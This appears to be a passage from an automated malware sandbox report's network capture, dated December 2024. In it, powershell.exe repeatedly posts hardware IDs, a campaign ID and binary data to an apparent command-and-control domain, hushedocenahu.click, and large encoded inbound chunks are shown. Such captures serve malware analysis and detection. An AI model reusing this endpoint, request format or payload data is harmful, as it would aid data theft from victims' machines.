{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mW7kdaNsbT71IAbBCh8LNqjEd0%2FUVbF6dMldcbCPNDV0cFdROodcKSGu5O9hbMcwqzTC4kxyN%2FFqIpEyHV1vCAPrdHQKKHQQi5oOupf%2BgOnuZPi2F%2Fs5kprcos9TN9uIyr8prAI4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f796a593e2dc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13330&min_rtt=1542&rtt_var=7693&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=951&delivery_rate=1893644&cwnd=181&unsent_bytes=0&cid=13c8344d12ac8171&ts=765&x=0"
2024-12-25 14:10:35 UTC	240	IN	Data Raw: 31 63 62 61 0d 0a 59 4e 4d 72 41 7a 4a 32 55 62 6c 41 4b 55 46 6c 38 78 66 54 75 55 6d 51 6b 62 66 45 34 47 49 4a 2f 54 75 53 73 55 76 6e 57 4e 73 62 38 56 30 68 43 45 4a 39 6d 7a 4e 4d 59 31 2b 48 5a 61 62 63 5a 62 4c 77 30 2b 62 61 42 47 69 52 53 50 65 64 61 5a 45 31 2b 56 71 31 53 6d 39 42 45 33 32 62 4a 56 46 6a 58 36 68 73 38 64 77 6e 73 71 75 56 6f 59 6f 41 61 4a 46 5a 38 39 6f 6b 6c 7a 53 34 43 4c 39 4d 61 31 63 56 4e 64 67 73 52 43 51 41 6c 6e 61 35 31 79 44 39 2b 64 72 6d 7a 45 42 73 68 78 6d 6f 6b 77 61 43 4c 4c 6f 74 73 6c 68 6f 45 41 74 39 77 6d 4a 4d 4c 30 66 4a 4e 62 4c 63 4b 2f 7a 33 30 36 2b 49 43 6d 47 5a 57 50 62 62 4f 34 34 2b 73 77 69 78 54 32 70 64 48 43 48 56 4a 6b 4d 76 42 70 78 32 38 5a Data Ascii: 1cbaYNMrAzJ2UblAKUFl8xfTuUmQkbfE4GIJ/TuSsUvnWNsb8V0hCEJ9mzNMY1+HZabcZbLw0+baBGiRSPedaZE1+Vq1Sm9BE32bJVFjX6hs8dwnsquVoYoAaJFZ89oklzS4CL9Ma1cVNdgsRCQAlna51yD9+drmzEBshxmokwaCLLotslhoEAt9wmJML0fJNbLcK/z306+ICmGZWPbbO44+swixT2pdHCHVJkMvBpx28Z
2024-12-25 14:10:35 UTC	1369	IN	Data Raw: 56 72 39 65 75 56 2f 73 4a 54 57 5a 78 49 34 63 59 6b 6c 54 7a 35 48 66 39 51 49 56 63 59 63 34 4e 69 51 79 38 4a 6c 48 61 2b 33 43 72 79 34 64 71 6d 67 51 68 6a 6d 31 50 2f 33 43 61 4c 4d 4c 34 4b 75 45 35 75 56 78 77 31 31 43 45 4c 62 55 65 57 62 66 47 44 61 39 4c 6a 31 71 57 57 44 58 72 66 52 72 37 4b 61 59 49 32 2b 56 72 78 54 32 39 52 47 54 50 4a 4b 6b 41 6f 41 6f 4e 2b 75 4e 59 6d 38 76 37 66 71 59 45 41 62 4a 56 54 2f 39 6b 74 69 44 65 2f 41 72 45 4a 4c 78 41 54 4b 35 74 36 43 77 41 43 67 58 4b 39 7a 57 6e 49 73 38 72 6f 6d 30 42 73 6b 78 6d 6f 6b 79 47 41 4f 62 6f 4a 76 6b 70 70 57 77 59 7a 79 53 52 47 4a 68 57 58 63 4c 2f 52 4b 4f 44 35 32 36 43 42 43 57 43 57 58 50 66 58 61 63 74 36 76 68 72 78 45 53 46 78 47 54 6a 58 4b 46 77 6a 52 34 34 37 71 Data Ascii: Vr9euV/sJTWZxI4cYklTz5Hf9QIVcYc4NiQy8JlHa+3Cry4dqmgQhjm1P/3CaLML4KuE5uVxw11CELbUeWbfGDa9Lj1qWWDXrfRr7KaYI2+VrxT29RGTPJKkAoAoN+uNYm8v7fqYEAbJVT/9ktiDe/ArEJLxATK5t6CwACgXK9zWnIs8rom0BskxmokyGAOboJvkppWwYzySRGJhWXcL/RKOD526CBCWCWXPfXact6vhrxESFxGTjXKFwjR447q
2024-12-25 14:10:35 UTC	1369	IN	Data Raw: 2f 33 36 43 4e 44 57 66 66 46 37 44 55 4d 63 56 69 2b 53 69 79 58 57 4a 61 56 67 62 59 4c 45 55 6b 45 64 46 71 2f 38 4a 72 39 66 2b 56 2f 73 49 4e 61 70 64 66 34 74 77 6b 68 6a 53 33 44 62 52 47 61 56 41 55 50 74 34 6d 51 43 67 45 6e 48 47 6a 30 53 76 36 39 74 53 73 69 45 41 6c 33 31 37 6f 6b 33 48 46 43 36 34 4a 38 33 78 69 58 68 6f 30 7a 57 4a 55 62 52 37 52 63 72 32 62 63 37 4c 2b 33 61 4f 48 44 32 71 56 56 2f 58 5a 4a 59 30 30 75 68 43 2b 54 57 46 63 48 44 6e 57 4c 45 38 72 44 70 70 2b 74 39 73 71 2b 4c 4f 62 35 6f 55 59 4b 38 63 5a 78 4e 51 6c 69 44 58 37 4e 37 4a 48 62 31 63 43 63 38 52 73 55 6d 4d 41 6e 54 58 70 6d 79 66 37 38 39 36 73 68 67 42 73 6b 6c 7a 7a 31 43 71 49 50 62 4d 4d 74 6b 31 74 57 52 6b 31 32 79 56 50 4a 68 57 55 66 4c 33 58 61 37 Data Ascii: /36CNDWffF7DUMcVi+SiyXWJaVgbYLEUkEdFq/8Jr9f+V/sINapdf4twkhjS3DbRGaVAUPt4mQCgEnHGj0Sv69tSsiEAl317ok3HFC64J83xiXho0zWJUbR7Rcr2bc7L+3aOHD2qVV/XZJY00uhC+TWFcHDnWLE8rDpp+t9sq+LOb5oUYK8cZxNQliDX7N7JHb1cCc8RsUmMAnTXpmyf7896shgBsklzz1CqIPbMMtk1tWRk12yVPJhWUfL3Xa7
2024-12-25 14:10:35 UTC	1369	IN	Data Raw: 6e 55 35 79 33 31 37 38 6b 33 48 46 4d 37 41 51 76 30 64 6f 58 52 49 37 33 43 78 47 4b 41 47 61 63 72 62 64 4a 76 72 2b 30 4b 57 44 42 47 47 4e 57 76 76 5a 4a 49 39 36 39 30 4b 32 55 53 45 49 56 42 54 58 43 31 73 34 46 59 63 31 72 70 55 79 73 76 54 5a 35 74 70 41 61 4a 42 51 2f 39 73 68 69 6a 57 39 44 4c 64 50 62 46 55 62 4f 63 6b 71 52 53 34 4d 6e 6e 36 6a 32 79 62 32 2f 39 47 75 69 51 6f 72 30 52 6e 33 79 32 6e 64 65 6f 77 50 76 6b 6c 69 52 6c 51 73 6c 54 73 4c 4a 41 76 52 4c 66 48 58 4a 66 4c 38 32 61 71 4a 43 47 71 54 56 2f 66 57 49 49 30 79 71 77 4f 31 51 57 42 65 47 7a 4c 66 4a 30 34 6e 41 4a 56 7a 76 70 74 6c 73 76 54 4e 35 74 70 41 52 4c 68 73 73 76 49 54 78 53 58 33 47 2f 46 4f 62 52 42 4d 63 39 63 68 52 79 73 49 6c 33 79 39 30 53 4c 35 2f 39 36 Data Ascii: nU5y3178k3HFM7AQv0doXRI73CxGKAGacrbdJvr+0KWDBGGNWvvZJI9690K2USEIVBTXC1s4FYc1rpUysvTZ5tpAaJBQ/9shijW9DLdPbFUbOckqRS4Mnn6j2yb2/9GuiQor0Rn3y2ndeowPvkliRlQslTsLJAvRLfHXJfL82aqJCGqTV/fWII0yqwO1QWBeGzLfJ04nAJVzvptlsvTN5tpARLhssvITxSX3G/FObRBMc9chRysIl3y90SL5/96
2024-12-25 14:10:35 UTC	1369	IN	Data Raw: 35 70 57 38 64 49 76 6c 7a 32 77 45 4c 39 45 62 6c 67 63 4f 74 6f 6d 54 69 34 42 6e 58 2b 77 33 43 58 38 2b 35 58 6f 77 67 64 7a 33 77 47 77 38 6a 6d 65 4b 4b 38 50 6b 45 52 75 45 41 74 39 77 6d 4a 4d 4c 30 66 4a 4e 62 6a 4a 4c 2f 2f 68 33 4b 47 4d 44 32 69 4e 57 50 33 59 4f 34 49 31 76 51 57 39 54 32 35 57 46 54 62 52 4c 6b 77 6d 44 4a 35 35 38 5a 56 72 39 65 75 56 2f 73 49 75 59 49 78 4f 38 39 30 69 6b 79 48 35 48 66 39 51 49 56 63 59 63 34 4e 69 53 43 67 4d 6c 58 57 39 32 79 2f 2f 38 38 65 70 68 51 64 69 6c 45 76 36 31 43 36 4f 4d 72 49 4e 74 31 74 74 58 67 59 32 79 54 41 4c 62 55 65 57 62 66 47 44 61 38 54 30 78 62 61 42 51 6c 71 4a 57 75 62 59 4a 49 6c 36 70 6b 79 6f 43 57 5a 63 56 47 75 62 4a 45 51 71 42 4a 35 30 75 4e 63 6d 39 2f 72 51 70 34 51 45 Data Ascii: 5pW8dIvlz2wEL9EblgcOtomTi4BnX+w3CX8+5Xowgdz3wGw8jmeKK8PkERuEAt9wmJML0fJNbjJL//h3KGMD2iNWP3YO4I1vQW9T25WFTbRLkwmDJ558ZVr9euV/sIuYIxO890ikyH5Hf9QIVcYc4NiSCgMlXW92y//88ephQdilEv61C6OMrINt1ttXgY2yTALbUeWbfGDa8T0xbaBQlqJWubYJIl6pkyoCWZcVGubJEQqBJ50uNcm9/rQp4QE
2024-12-25 14:10:35 UTC	1369	IN	Data Raw: 50 49 61 5a 70 30 6f 45 4b 32 52 53 45 49 56 44 44 63 49 55 6f 70 44 70 31 36 74 74 38 35 2b 50 54 48 70 34 4d 4c 5a 70 4e 5a 2f 64 34 6a 68 44 4f 30 44 72 78 4f 5a 6c 38 52 63 35 56 69 54 44 74 48 79 54 57 51 31 69 44 2b 71 49 2f 6d 6e 55 35 79 33 31 37 38 6b 33 48 46 4f 72 4d 48 75 30 52 69 58 78 63 68 32 69 52 5a 49 77 71 62 5a 37 76 51 4c 76 2f 2b 32 4b 57 45 42 6d 43 54 53 2f 6e 54 4b 6f 35 36 39 30 4b 32 55 53 45 49 56 42 44 4d 4e 45 45 6b 43 34 64 2b 73 4e 67 39 2f 2b 4f 56 36 4d 49 52 62 49 34 5a 71 4d 55 35 6b 6a 32 6d 54 4b 67 4a 5a 6c 78 55 61 35 73 6b 51 69 55 41 6c 33 75 6a 33 69 33 39 2f 4e 79 76 68 67 68 6f 6e 31 33 30 31 43 79 47 4e 72 49 46 73 6b 5a 6c 57 52 6f 36 31 47 49 46 59 77 43 4a 4e 65 6d 62 43 75 6e 77 32 61 76 43 48 79 57 47 47 Data Ascii: PIaZp0oEK2RSEIVDDcIUopDp16tt85+PTHp4MLZpNZ/d4jhDO0DrxOZl8Rc5ViTDtHyTWQ1iD+qI/mnU5y3178k3HFOrMHu0RiXxch2iRZIwqbZ7vQLv/+2KWEBmCTS/nTKo5690K2USEIVBDMNEEkC4d+sNg9/+OV6MIRbI4ZqMU5kj2mTKgJZlxUa5skQiUAl3uj3i39/Nyvhghon1301CyGNrIFskZlWRo61GIFYwCJNembCunw2avCHyWGG
2024-12-25 14:10:35 UTC	277	IN	Data Raw: 43 49 76 6c 61 38 57 6c 71 52 68 45 30 7a 57 42 2b 49 41 6d 66 63 71 65 62 4e 4d 32 39 6c 61 6d 59 51 44 4f 6d 51 4c 44 55 4a 63 56 69 2b 52 65 32 53 57 5a 4b 41 6a 54 58 4d 30 41 75 43 37 4e 36 74 73 30 6f 2f 66 44 45 72 38 34 4c 5a 74 38 58 73 4e 51 78 78 57 4c 35 4c 62 5a 66 59 6e 38 58 49 74 4a 69 42 57 4d 41 68 7a 58 70 6d 78 57 79 34 64 61 32 67 51 39 36 6f 52 6d 6f 79 68 66 46 4d 61 38 46 6f 55 70 33 57 78 6b 2f 79 68 77 4c 65 31 50 44 4a 2b 4f 4a 65 65 32 7a 79 70 6e 4d 51 47 72 66 41 63 6e 4b 61 5a 4e 36 34 56 44 2f 43 58 4d 51 54 48 4f 63 49 56 6b 78 41 5a 4a 6a 73 70 77 56 7a 4e 54 44 72 49 55 51 62 49 68 57 73 4a 31 70 69 6e 72 68 4f 2f 46 41 5a 6b 73 46 4a 64 59 79 54 47 4d 34 33 7a 57 70 6d 33 4f 79 78 74 61 6f 6a 41 64 39 6a 68 54 58 78 53 Data Ascii: CIvla8WlqRhE0zWB+IAmfcqebNM29lamYQDOmQLDUJcVi+Re2SWZKAjTXM0AuC7N6ts0o/fDEr84LZt8XsNQxxWL5LbZfYn8XItJiBWMAhzXpmxWy4da2gQ96oRmoyhfFMa8FoUp3Wxk/yhwLe1PDJ+OJee2zypnMQGrfAcnKaZN64VD/CXMQTHOcIVkxAZJjspwVzNTDrIUQbIhWsJ1pinrhO/FAZksFJdYyTGM43zWpm3OyxtaojAd9jhTXxS
2024-12-25 14:10:35 UTC	1369	IN	Data Raw: 32 63 36 32 0d 0a 4f 41 4e 65 6d 4c 65 61 6d 6d 68 76 48 53 55 6e 54 52 51 4c 44 46 61 64 31 6f 39 30 4b 6a 43 54 6b 51 55 7a 44 4a 4d 45 30 67 45 5a 49 79 6a 2b 55 4d 36 50 37 54 73 5a 4d 2b 56 5a 68 44 2f 64 55 2b 6c 48 61 73 41 62 39 48 5a 6b 5a 55 66 5a 73 74 43 33 73 2b 30 54 33 78 35 47 57 79 36 35 58 2b 77 6a 56 6f 6b 56 66 33 78 54 6a 49 48 61 4d 50 74 31 35 77 45 46 70 7a 33 57 49 54 63 30 6e 52 63 61 43 62 63 36 4b 68 6a 76 50 52 56 7a 76 4e 52 72 37 4b 61 5a 4e 36 34 56 44 2f 43 58 4d 51 54 48 4f 63 49 56 6b 78 41 5a 4a 6a 73 70 77 56 7a 4e 33 53 6f 49 63 48 65 39 31 33 2b 38 63 75 78 58 54 35 44 66 45 52 57 42 42 63 63 2b 52 73 43 7a 74 48 79 54 57 45 32 43 58 38 39 4d 4f 33 7a 79 35 73 6d 56 7a 33 77 32 75 72 4d 61 30 46 38 51 63 68 56 6c 52 Data Ascii: 2c62OANemLeammhvHSUnTRQLDFad1o90KjCTkQUzDJME0gEZIyj+UM6P7TsZM+VZhD/dU+lHasAb9HZkZUfZstC3s+0T3x5GWy65X+wjVokVf3xTjIHaMPt15wEFpz3WITc0nRcaCbc6KhjvPRVzvNRr7KaZN64VD/CXMQTHOcIVkxAZJjspwVzN3SoIcHe913+8cuxXT5DfERWBBcc+RsCztHyTWE2CX89MO3zy5smVz3w2urMa0F8QchVlR
2024-12-25 14:10:35 UTC	1369	IN	Data Raw: 44 45 56 6c 33 61 6e 32 47 7a 4d 7a 66 4b 6f 68 51 46 39 6a 30 37 2f 6e 41 65 7a 47 34 63 38 70 45 70 76 58 68 4d 6c 79 6d 49 46 59 77 6a 52 4c 59 69 62 59 37 4c 4d 6d 2b 61 61 51 44 50 66 62 50 50 64 4a 34 49 73 71 45 2b 57 52 32 5a 52 41 69 50 4d 4c 51 51 4e 4d 62 41 31 2f 35 73 74 73 71 75 48 36 4d 49 45 65 74 38 42 6f 49 46 79 30 47 6e 75 55 75 4e 57 4c 30 6c 55 4a 5a 74 36 47 57 31 48 67 7a 58 70 6d 32 7a 78 34 63 65 67 67 52 5a 6f 32 47 66 4f 39 43 65 43 4f 36 38 53 76 45 56 41 55 77 55 35 35 52 78 65 49 41 6d 66 63 71 66 4b 61 37 79 7a 32 75 62 61 4f 53 76 58 47 63 2b 64 61 5a 31 36 34 55 4b 45 53 6d 39 65 45 79 58 4b 62 32 77 74 41 4a 42 6a 6f 64 59 6e 30 2f 44 45 72 4d 4a 4f 4b 35 6b 5a 71 49 46 6e 78 54 36 6f 51 75 6b 5a 4d 77 74 42 59 49 78 79 Data Ascii: DEVl3an2GzMzfKohQF9j07/nAezG4c8pEpvXhMlymIFYwjRLYibY7LMm+aaQDPfbPPdJ4IsqE+WR2ZRAiPMLQQNMbA1/5stsquH6MIEet8BoIFy0GnuUuNWL0lUJZt6GW1HgzXpm2zx4ceggRZo2GfO9CeCO68SvEVAUwU55RxeIAmfcqfKa7yz2ubaOSvXGc+daZ164UKESm9eEyXKb2wtAJBjodYn0/DErMJOK5kZqIFnxT6oQukZMwtBYIxy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49831	104.21.112.1	443	8032	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:10:37 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LOQHJJY7E0F02RWXU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: hushedocenahu.click
2024-12-25 14:10:37 UTC	15331	OUT	Data Raw: 2d 2d 4c 4f 51 48 4a 4a 59 37 45 30 46 30 32 52 57 58 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 35 45 38 33 36 43 32 36 37 33 34 32 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 4f 51 48 4a 4a 59 37 45 30 46 30 32 52 57 58 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 4f 51 48 4a 4a 59 37 45 30 46 30 32 52 57 58 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 0d 0a Data Ascii: --LOQHJJY7E0F02RWXUContent-Disposition: form-data; name="hwid"875E836C267342A3AC8923850305D13E--LOQHJJY7E0F02RWXUContent-Disposition: form-data; name="pid"2--LOQHJJY7E0F02RWXUContent-Disposition: form-data; name="lid"yJEcaG--singl7
2024-12-25 14:10:37 UTC	2827	OUT	Data Raw: 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 Data Ascii: f5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-25 14:10:38 UTC	1127	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:10:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4kpbicb6hsmd3jl2usrvqk7608; expires=Sun, 20 Apr 2025 07:57:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OQNi%2BQIZmg5fWkbUs1ljDZX5UkXxRsOYhHDEYAxpqjim5iQtpmoygXI8nZyB9yF9koRhywCAyJ0dj8Df748xiFbAl%2FYxubhaRFCQL9G0aAsrXm6yvUeQlm4z1v8hgAYKfgfHYk0u"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f796a669d3b729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2011&min_rtt=2005&rtt_var=764&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19122&delivery_rate=1422308&cwnd=169&unsent_bytes=0&cid=a9cd5ac010b80602&ts=963&x=0"
2024-12-25 14:10:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-25 14:10:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49837	104.21.112.1	443	8032	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:10:39 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=65U60J1U38 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8737 Host: hushedocenahu.click
2024-12-25 14:10:39 UTC	8737	OUT	Data Raw: 2d 2d 36 35 55 36 30 4a 31 55 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 35 45 38 33 36 43 32 36 37 33 34 32 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 36 35 55 36 30 4a 31 55 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 35 55 36 30 4a 31 55 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 0d 0a 2d 2d 36 35 55 36 30 4a 31 55 33 38 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --65U60J1U38Content-Disposition: form-data; name="hwid"875E836C267342A3AC8923850305D13E--65U60J1U38Content-Disposition: form-data; name="pid"2--65U60J1U38Content-Disposition: form-data; name="lid"yJEcaG--singl7--65U60J1U38Content
2024-12-25 14:10:40 UTC	1133	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rvre5mkaub50qj7obuopauhr7h; expires=Sun, 20 Apr 2025 07:57:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E%2Bx%2Ftw2BKzKOgsQiGn7z9n4KoBVaSydI6OXRpFlPBgCG8pgEcGlFP8s9a99nRHdra8lixquwrktjS3XoE7%2B5FccSuM0o4jtK2%2BKias7A%2Ba4CUfStWPJ7%2FpVNmDbvR1IZ0NWIdVF6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f796a745b9ac34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1431&min_rtt=1420&rtt_var=555&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2847&recv_bytes=9671&delivery_rate=1932495&cwnd=181&unsent_bytes=0&cid=2e8f4da47b5944ef&ts=772&x=0"
2024-12-25 14:10:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-25 14:10:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49843	104.21.112.1	443	8032	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-25 14:10:41 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9PD5G4RIDGD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20396 Host: hushedocenahu.click
2024-12-25 14:10:41 UTC	15331	OUT	Data Raw: 2d 2d 39 50 44 35 47 34 52 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 35 45 38 33 36 43 32 36 37 33 34 32 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 50 44 35 47 34 52 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 39 50 44 35 47 34 52 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 0d 0a 2d 2d 39 50 44 35 47 34 52 49 44 47 44 0d 0a 43 6f 6e Data Ascii: --9PD5G4RIDGDContent-Disposition: form-data; name="hwid"875E836C267342A3AC8923850305D13E--9PD5G4RIDGDContent-Disposition: form-data; name="pid"3--9PD5G4RIDGDContent-Disposition: form-data; name="lid"yJEcaG--singl7--9PD5G4RIDGDCon
2024-12-25 14:10:41 UTC	5065	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 Data Ascii: lrQMn 64F6(X&7~`aO@
2024-12-25 14:10:42 UTC	1127	IN	HTTP/1.1 200 OK Date: Wed, 25 Dec 2024 14:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hqd2h56umpmv09c92cqco2dou0; expires=Sun, 20 Apr 2025 07:57:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=je6CocuDhp%2FxbAC2MSX%2FAJmso6VQZvGZxgiUSNvO36JwaS2OlUKCP8PYD2nhKeiJPYbLZ8AdNFN8PVsgdIikZAsoiGIPWILRT5Eyo40Axp2Vlk2ZSz6JHCr935u49cwQHJf1jeMb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f796a813b99727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: 